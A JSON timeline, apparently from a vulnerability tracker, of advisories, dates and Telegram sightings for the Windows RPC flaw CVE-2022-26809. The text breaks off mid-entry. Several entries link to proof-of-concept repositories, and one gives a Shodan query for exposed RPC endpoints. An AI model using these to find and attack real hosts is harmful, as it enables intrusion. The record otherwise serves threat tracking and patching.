{"metadata": {"vulnerability": "CVE-2022-26809", "count": 145, "kinds": {"milestone": 8, "sighting": 106, "kev": 0, "other": 31}}, "data": [{"timestamp": "2022-03-09T00:00:00Z", "date_only": false, "value": "2022-03-09T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-26809", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-04-12T08:00:00Z", "date_only": false, "value": "2022-04-12T08:00:00.000Z", "kind": "other", "label": "Advisory revision", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26809", "record": "MSRC_CVE-2022-26809", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2022-04-12T08:00:00Z", "date_only": false, "value": "2022-04-12T08:00:00.000Z", "kind": "other", "label": "Date", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26809", "record": "MSRC_CVE-2022-26809", "field": "vulnerabilities.0.remediations.0.date"}, {"timestamp": "2022-04-12T08:00:00Z", "date_only": false, "value": "2022-04-12T08:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / microsoft", "record": "CVE-2022-26809", "field": "containers.cna.datePublic"}, {"timestamp": "2022-04-12T08:00:00Z", "date_only": false, "value": "2022-04-12T08:00:00.000Z", "kind": "milestone", "label": "Published", "source": "csaf_microsoft \u00b7 MSRC_CVE-2022-26809", "record": "MSRC_CVE-2022-26809", "field": "document.tracking.initial_release_date"}, {"timestamp": "2022-04-13T00:00:00Z", "date_only": false, "value": "2022-04-13T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-335", "record": "CERTFR-2022-AVI-335", "field": "last_revision_date"}, {"timestamp": "2022-04-13T00:00:00Z", "date_only": false, "value": "2022-04-13T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_alerte \u00b7 CERTFR-2022-ALE-003", "record": "CERTFR-2022-ALE-003", "field": "initial_release_date"}, {"timestamp": "2022-04-13T00:00:00Z", "date_only": false, "value": "2022-04-13T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-335", "record": "CERTFR-2022-AVI-335", "field": "initial_release_date"}, {"timestamp": "2022-04-13T00:00:00Z", "date_only": false, "value": "2022-04-13T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2022-ALE-003", "record": "CERTFR-2022-ALE-003", "field": "revisions.0.revision_date"}, {"timestamp": "2022-04-13T00:00:00Z", "date_only": false, "value": "2022-04-13T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-335", "record": "CERTFR-2022-AVI-335", "field": "revisions.0.revision_date"}, {"timestamp": "2022-04-13T04:00:00Z", "date_only": false, "value": "2022-04-13T04:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=784", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "ea59daec-526a-48e5-af8c-779551977fac", "url": "https://www.govcert.gov.hk/en/alerts_detail.php?id=784"}, {"timestamp": "2022-04-13T08:18:48Z", "date_only": false, "value": "2022-04-13T08:18:48.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/itsec_news/474", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "e33b837d-f24f-4757-8e9c-208d7cb4f190", "content": "\u200b\u2705 Microsoft \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 128 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0430\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\ud83d\udcac \u0412\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a, 12-\u0433\u043e \u0430\u043f\u0440\u0435\u043b\u044f, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u043b\u0430\u043d\u043e\u0432\u044b\u0435 \u0435\u0436\u0435\u043c\u0435\u0441\u044f\u0447\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u0410\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u043f\u0430\u0442\u0447\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 128 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Windows, \u0417\u0430\u0449\u0438\u0442\u043d\u0438\u043a\u0435, Office, Exchange Server, Visual Studio, \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 \u0438 \u043f\u0440.\n\n\u0414\u0435\u0441\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u044b \u043a\u0430\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435. 115 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0430\u043a \u043e\u043f\u0430\u0441\u043d\u044b\u0435, \u0438 3 \u2014 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041e\u0434\u043d\u0430 \u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438. \u0420\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Windows Common Log File System, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 \u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0428\u0410 \u0438 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 CrowdStrike. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2022-24521 \u0438 \u043e\u0446\u0435\u043d\u043a\u0443 7,8 \u0431\u0430\u043b\u043b\u0430 \u0438\u0437 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0445 10.\n\n\u0415\u0449\u0451 \u043e\u0434\u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u043a \u043a\u0430\u043a \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0440\u0430\u043d\u0435\u0435. CVE-2022-26904 (7.0 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Windows User Profile Service.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0432 Runtime Library (CVE-2022-26809), Windows Network File System (CVE-2022-24491 \u0438 CVE-2022-24497), Windows Server Service (CVE-2022-24541), Windows SMB (CVE-2022-24500) \u0438 Microsoft Dynamics 365 (CVE-2022-23259).\n\nMicrosoft \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 18 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Windows DNS Server, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043e\u0434\u043d\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 17 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430. \u0415\u0449\u0451 15 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u044b\u043b\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438.\n\n#Microsoft #\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n\ud83d\udd14 ITsec NEWS", "url": "https://t.me/itsec_news/474"}, {"timestamp": "2022-04-13T16:05:03Z", "date_only": false, "value": "2022-04-13T16:05:03.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/2844", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "3439a454-6140-4cc2-a240-5e476f8b3034", "content": "\u0410\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u0438\u0439 PartchTuesday \u043e\u0442 Microsoft \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 128 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u0432\u0435 0-day \u0432 \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u043b\u0438\u043d\u0435\u0439\u043a\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u044b Microsoft Windows \u0438 \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, Microsoft Defender, Microsoft Dynamics, Microsoft Edge, Exchange Server, Office, SharePoint Server, Windows Hyper-V, DNS-\u0441\u0435\u0440\u0432\u0435\u0440, Skype, .NET, Visual Studio, Windows App Store.\n\n\u0421\u0440\u0435\u0434\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 10 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435, 115 - \u043a\u0430\u043a \u0432\u0430\u0436\u043d\u044b\u0435, \u0430 3 - \u043a\u0430\u043a \u0441\u0440\u0435\u0434\u043d\u0438\u0435, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c 47 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 47 - \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430, 13 - \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 9 - \u043e\u0442\u043a\u0430\u0437\u043e\u043c \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, 3 - \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u043e\u043c. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u00a026 \u0440\u0430\u043d\u0435\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u043e\u0448\u0438\u0431\u043a\u0430\u043c \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 Edge \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 Chromium \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u043c\u0435\u0441\u044f\u0446\u0430.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043e\u0448\u0438\u0431\u043e\u043a CVE-2022-24521\u00a0(\u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7,8) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 Windows Common Log File, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435, \u043e \u0447\u0435\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u043b\u0430\u0434 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u0410\u041d\u0411 \u0421\u0428\u0410, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0432\u0448\u0438\u0435 \u0437\u0430 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0440\u044f\u0434\u0430 \u0410\u0420\u0422. \u042d\u0442\u043e 15-\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c 0-day, \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0432 2022 \u0433\u043e\u0434\u0443.\n\n\u0414\u0440\u0443\u0433\u0430\u044f CVE-2022-26904\u00a0(\u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 7) \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441\u043b\u0443\u0436\u0431\u044b \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u0449\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430.\n\n\u041e\u0434\u043d\u043e\u0439 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0440\u0435\u0448\u0430\u0435\u043c\u044b\u0445 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0441\u0442\u0430\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 RPC Runtime Library \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2022-26809\u00a0\u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9.8. \u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 ZeroDayInitiative, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u043e\u0440\u0442 (TCP-\u043f\u043e\u0440\u0442 135) \u043e\u0431\u044b\u0447\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443 \u0441\u0435\u0442\u0438, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u044d\u0442\u043e\u0442 \u0431\u0430\u0433 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f \u0431\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f.\u00a0\n\n\u0412 \u0447\u0438\u0441\u043b\u0435 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0445 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a - \u0435\u0449\u0435 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Windows, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u043a\u0430\u043a\u00a0CVE-2022-24491\u00a0\u0438\u00a0CVE-2022-24497.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a CVE, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 Microsoft \u043d\u0430 \u0430\u043f\u0440\u0435\u043b\u044c 2022 \u0433\u043e\u0434\u0430, \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f\u00a0\u0437\u0434\u0435\u0441\u044c.", "url": "https://t.me/true_secator/2844"}, {"timestamp": "2022-04-13T18:20:55Z", "date_only": false, "value": "2022-04-13T18:20:55.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1936", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "6289eaef-dc1c-436a-9f48-ced7b580a288", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-26809 PoC\nURL\uff1ahttps://github.com/f8al/CVE-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1936"}, {"timestamp": "2022-04-14T03:47:38Z", "date_only": false, "value": "2022-04-14T03:47:38.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1939", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "d87a7f9e-9773-485f-8874-70888ff81d35", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aThe poc for CVE-2022-26809 RCE via RPC will be updated here. \nURL\uff1ahttps://github.com/sherlocksecurity/Microsoft-CVE-2022-26809-PoC\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1939"}, {"timestamp": "2022-04-14T03:58:45Z", "date_only": false, "value": "2022-04-14T03:58:45.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1940", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "4f9ab1c2-9adf-4854-bfff-b62d8a45ca5e", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aThe poc for CVE-2022-26809 RCE via RPC will be updated here. \nURL\uff1ahttps://github.com/sherlocksecurity/Microsoft-CVE-2022-26809\n\n\u6807\u7b7e\uff1a#CVE-2022", "url": "https://t.me/GithubRedTeam/1940"}, {"timestamp": "2022-04-14T12:07:39Z", "date_only": false, "value": "2022-04-14T12:07:39.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cKure/9351", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "b3a49099-7f18-4a4f-8de0-48f346b20dbd", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Zero-Day: CVE-2022-26809 - Windows RPC Wormable Remote Code Execution.\n\nShodan: product:\"Microsoft RPC Endpoint Mapper\"\n\nCensys: https://censys.io/cve-2022-26809/\n\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-26809", "url": "https://t.me/cKure/9351"}, {"timestamp": "2022-04-14T13:46:52Z", "date_only": false, "value": "2022-04-14T13:46:52.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/NeKaspersky/2116", "record": "CVE-2022-26809", "field": "creation_timestamp", "uuid": "acbc6057-f8b9-4a80-9de8-e313a1e4fc22", "content": "\u0412\u0442\u043e\u0440\u043d\u0438\u043a \u043f\u0430\u0442\u0447\u0435\u0439 \u043e\u0442 Microsoft: \u043f\u043e\u0444\u0438\u043a\u0441\u0438\u043b\u0438 128 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Windows \u0438 \u0432 \u0440\u044f\u0434\u0435 \u0435\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432. \n\nPartchTuesday \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b 128 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441\u0440\u0435\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 10 \u0431\u044b\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 (\u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u0432\u0435 \u0431\u044b\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438),  \u0442\u0440\u0438 \u2014 \u0447\u0435\u0440\u0432\u0435\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0438\u0437 \u0441\u0435\u0431\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c. \u0421\u0430\u043c\u0443\u044e \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 CVSS:3.1 \u0432 \u0446\u0435\u043b\u044b\u0445 9.8 \u0431\u0430\u043b\u043b\u0430 \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-26809. \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u043e\u043d\u0430 \u0441 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f (Remote Procedure Call Runtime Library) Windows \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \u0415\u0451 \u0438 